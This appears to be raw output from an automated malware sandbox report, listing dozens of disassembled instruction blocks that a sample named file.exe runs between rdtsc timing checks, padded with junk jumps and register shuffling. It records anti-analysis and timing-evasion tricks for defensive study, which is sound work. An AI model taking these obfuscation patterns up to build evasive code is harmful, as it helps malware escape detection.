Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D904F0 second address: 4D90535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov bx, F06Ah 0x00000009 popad 0x0000000a mov dword ptr [esi+14h], eax 0x0000000d jmp 00007FEEE0EE3611h 0x00000012 mov eax, dword ptr [ebx+54h] 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FEEE0EE360Ch 0x0000001c and ecx, 50E35058h 0x00000022 jmp 00007FEEE0EE360Bh 0x00000027 popfd 0x00000028 push eax 0x00000029 push edx 0x0000002a push esi 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90535 second address: 4D90568 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2312h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esi+18h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEEE08A2317h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90568 second address: 4D905D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+58h] 0x0000000c pushad 0x0000000d mov esi, 3BB48063h 0x00000012 pushfd 0x00000013 jmp 00007FEEE0EE3618h 0x00000018 or esi, 482736A8h 0x0000001e jmp 00007FEEE0EE360Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov dword ptr [esi+1Ch], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FEEE0EE3615h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9070F second address: 4D9072E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+32h], ax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9072E second address: 4D90732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90732 second address: 4D90736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90736 second address: 4D9073C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9073C second address: 4D90771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2312h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+0000008Ch] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEEE08A2317h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90771 second address: 4D90796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ch, dl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esi+34h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEEE0EE3614h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90796 second address: 4D9079A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9079A second address: 4D907A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907A0 second address: 4D907A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907A6 second address: 4D907AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907AA second address: 4D907E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+18h] 0x0000000b jmp 00007FEEE08A2314h 0x00000010 mov dword ptr [esi+38h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FEEE08A2317h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907E5 second address: 4D90825 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, 9A48h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [ebx+1Ch] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FEEE0EE360Dh 0x00000016 adc esi, 65A2A4B6h 0x0000001c jmp 00007FEEE0EE3611h 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [esi+3Ch], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90825 second address: 4D90829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90829 second address: 4D9082F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9082F second address: 4D90835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90835 second address: 4D90893 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3613h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+20h] 0x0000000e jmp 00007FEEE0EE3616h 0x00000013 mov dword ptr [esi+40h], eax 0x00000016 jmp 00007FEEE0EE3610h 0x0000001b lea eax, dword ptr [ebx+00000080h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007FEEE0EE360Dh 0x00000029 pop esi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90893 second address: 4D90898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90898 second address: 4D908EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 5699h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 00000001h 0x0000000e jmp 00007FEEE0EE3612h 0x00000013 nop 0x00000014 pushad 0x00000015 call 00007FEEE0EE360Eh 0x0000001a push ecx 0x0000001b pop edi 0x0000001c pop eax 0x0000001d movsx ebx, cx 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007FEEE0EE3619h 0x00000027 nop 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908EF second address: 4D908F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9094D second address: 4D90953 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90953 second address: 4D909D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 pushfd 0x00000006 jmp 00007FEEE08A2319h 0x0000000b sub cl, 00000076h 0x0000000e jmp 00007FEEE08A2311h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov edi, eax 0x00000019 jmp 00007FEEE08A230Eh 0x0000001e test edi, edi 0x00000020 pushad 0x00000021 popad 0x00000022 js 00007FEF5091102Bh 0x00000028 jmp 00007FEEE08A2316h 0x0000002d mov eax, dword ptr [ebp-0Ch] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FEEE08A2317h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D909D6 second address: 4D90A05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEEE0EE360Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A05 second address: 4D90A5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEEE08A2317h 0x00000009 jmp 00007FEEE08A2313h 0x0000000e popfd 0x0000000f push ecx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 lea eax, dword ptr [ebx+78h] 0x00000017 jmp 00007FEEE08A2312h 0x0000001c push 00000001h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FEEE08A230Ah 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A5E second address: 4D90A6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A6D second address: 4D90A85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE08A2314h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A85 second address: 4D90AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEEE0EE3613h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90AA3 second address: 4D90AD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEEE08A2312h 0x00000009 or ecx, 7C232A98h 0x0000000f jmp 00007FEEE08A230Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90AD6 second address: 4D90ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90ADD second address: 4D90B5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-08h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEEE08A230Eh 0x00000013 add ch, 00000028h 0x00000016 jmp 00007FEEE08A230Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FEEE08A2318h 0x00000022 sub ch, FFFFFF88h 0x00000025 jmp 00007FEEE08A230Bh 0x0000002a popfd 0x0000002b popad 0x0000002c nop 0x0000002d pushad 0x0000002e mov bx, ax 0x00000031 mov ecx, 74AB16F7h 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FEEE08A2318h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BEE second address: 4D90C6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [ebp-04h] 0x0000000d jmp 00007FEEE0EE360Eh 0x00000012 mov dword ptr [esi+08h], eax 0x00000015 pushad 0x00000016 call 00007FEEE0EE360Dh 0x0000001b pushfd 0x0000001c jmp 00007FEEE0EE3610h 0x00000021 adc ecx, 0F84C258h 0x00000027 jmp 00007FEEE0EE360Bh 0x0000002c popfd 0x0000002d pop eax 0x0000002e popad 0x0000002f lea eax, dword ptr [ebx+70h] 0x00000032 jmp 00007FEEE0EE360Fh 0x00000037 push 00000001h 0x00000039 jmp 00007FEEE0EE3616h 0x0000003e nop 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 mov ah, 3Fh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E34 second address: 4D90E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E3A second address: 4D90E56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lock cmpxchg dword ptr [edx], ecx 0x0000000e pushad 0x0000000f mov ax, 609Dh 0x00000013 mov edi, eax 0x00000015 popad 0x00000016 pop edi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E56 second address: 4D90EC5 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 47DBE72Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test eax, eax 0x0000000c jmp 00007FEEE08A2312h 0x00000011 jne 00007FEF50910B6Eh 0x00000017 jmp 00007FEEE08A2310h 0x0000001c mov edx, dword ptr [ebp+08h] 0x0000001f jmp 00007FEEE08A2310h 0x00000024 mov eax, dword ptr [esi] 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FEEE08A230Eh 0x0000002d sbb cx, F9E8h 0x00000032 jmp 00007FEEE08A230Bh 0x00000037 popfd 0x00000038 push eax 0x00000039 push edx 0x0000003a movzx ecx, di 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90EC5 second address: 4D90EE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [edx], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FEEE0EE360Bh 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90EE9 second address: 4D90EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90EEE second address: 4D90F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FEEE0EE3610h 0x0000000a xor cx, CEA8h 0x0000000f jmp 00007FEEE0EE360Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov eax, dword ptr [esi+04h] 0x0000001b pushad 0x0000001c jmp 00007FEEE0EE3614h 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 pushfd 0x00000025 jmp 00007FEEE0EE360Eh 0x0000002a adc ecx, 511F7C38h 0x00000030 jmp 00007FEEE0EE360Bh 0x00000035 popfd 0x00000036 popad 0x00000037 popad 0x00000038 mov dword ptr [edx+04h], eax 0x0000003b jmp 00007FEEE0EE3616h 0x00000040 mov eax, dword ptr [esi+08h] 0x00000043 jmp 00007FEEE0EE3610h 0x00000048 mov dword ptr [edx+08h], eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F8A second address: 4D90F90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F90 second address: 4D90F95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F95 second address: 4D91058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FEEE08A2310h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esi+0Ch] 0x00000010 jmp 00007FEEE08A2311h 0x00000015 mov dword ptr [edx+0Ch], eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FEEE08A230Ch 0x0000001f add cx, 6A88h 0x00000024 jmp 00007FEEE08A230Bh 0x00000029 popfd 0x0000002a mov eax, 1A3F82FFh 0x0000002f popad 0x00000030 mov eax, dword ptr [esi+10h] 0x00000033 jmp 00007FEEE08A2312h 0x00000038 mov dword ptr [edx+10h], eax 0x0000003b jmp 00007FEEE08A2310h 0x00000040 mov eax, dword ptr [esi+14h] 0x00000043 jmp 00007FEEE08A2310h 0x00000048 mov dword ptr [edx+14h], eax 0x0000004b pushad 0x0000004c mov esi, 75AB0B1Dh 0x00000051 mov edx, eax 0x00000053 popad 0x00000054 mov eax, dword ptr [esi+18h] 0x00000057 jmp 00007FEEE08A2314h 0x0000005c mov dword ptr [edx+18h], eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FEEE08A230Ah 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91058 second address: 4D9105E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9105E second address: 4D91079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+1Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91079 second address: 4D9107D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9107D second address: 4D9109A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9109A second address: 4D910DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3611h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+1Ch], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ebx, 121B69AEh 0x00000014 pushfd 0x00000015 jmp 00007FEEE0EE360Fh 0x0000001a jmp 00007FEEE0EE3613h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D910DF second address: 4D91138 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A2319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+20h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FEEE08A2313h 0x00000015 sub cx, D51Eh 0x0000001a jmp 00007FEEE08A2319h 0x0000001f popfd 0x00000020 mov dl, al 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91138 second address: 4D91155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEEE0EE3619h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91155 second address: 4D9117D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+20h], eax 0x0000000b pushad 0x0000000c mov edx, 4BB0CFDEh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEEE08A2315h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9117D second address: 4D911E7 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov eax, dword ptr [esi+24h] 0x0000000b jmp 00007FEEE0EE360Ah 0x00000010 mov dword ptr [edx+24h], eax 0x00000013 jmp 00007FEEE0EE3610h 0x00000018 mov eax, dword ptr [esi+28h] 0x0000001b jmp 00007FEEE0EE3610h 0x00000020 mov dword ptr [edx+28h], eax 0x00000023 jmp 00007FEEE0EE3610h 0x00000028 mov ecx, dword ptr [esi+2Ch] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FEEE0EE3617h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D911E7 second address: 4D911EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D911EC second address: 4D91282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FEEE0EE3615h 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+2Ch], ecx 0x00000010 jmp 00007FEEE0EE3617h 0x00000015 mov ax, word ptr [esi+30h] 0x00000019 pushad 0x0000001a mov dx, cx 0x0000001d pushfd 0x0000001e jmp 00007FEEE0EE3610h 0x00000023 jmp 00007FEEE0EE3615h 0x00000028 popfd 0x00000029 popad 0x0000002a mov word ptr [edx+30h], ax 0x0000002e pushad 0x0000002f pushad 0x00000030 mov si, 2DC9h 0x00000034 push ecx 0x00000035 pop edi 0x00000036 popad 0x00000037 movzx esi, di 0x0000003a popad 0x0000003b mov ax, word ptr [esi+32h] 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FEEE0EE3618h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91282 second address: 4D91287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91287 second address: 4D912AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [edx+32h], ax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEEE0EE3614h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912AA second address: 4D912D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE08A230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+34h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEEE08A2310h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912D0 second address: 4D912D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912D6 second address: 4D912EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 9D23h 0x00000007 push eax 0x00000008 pop ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [edx+34h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912EB second address: 4D912EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912EF second address: 4D912F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D912F5 second address: 4D9134A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE3616h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, 00000700h 0x0000000f jmp 00007FEEE0EE3610h 0x00000014 jne 00007FEF50F519F8h 0x0000001a pushad 0x0000001b mov ecx, 31757C9Dh 0x00000020 mov cx, 4599h 0x00000024 popad 0x00000025 or dword ptr [edx+38h], FFFFFFFFh 0x00000029 pushad 0x0000002a mov ch, 0Eh 0x0000002c mov esi, ebx 0x0000002e popad 0x0000002f or dword ptr [edx+3Ch], FFFFFFFFh 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9134A second address: 4D91350 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D8E second address: 4D60D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D702E6 second address: 4D702EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D702EC second address: 4D70304 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEEE0EE360Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70304 second address: 4D70308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70308 second address: 4D7030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7030C second address: 4D70312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
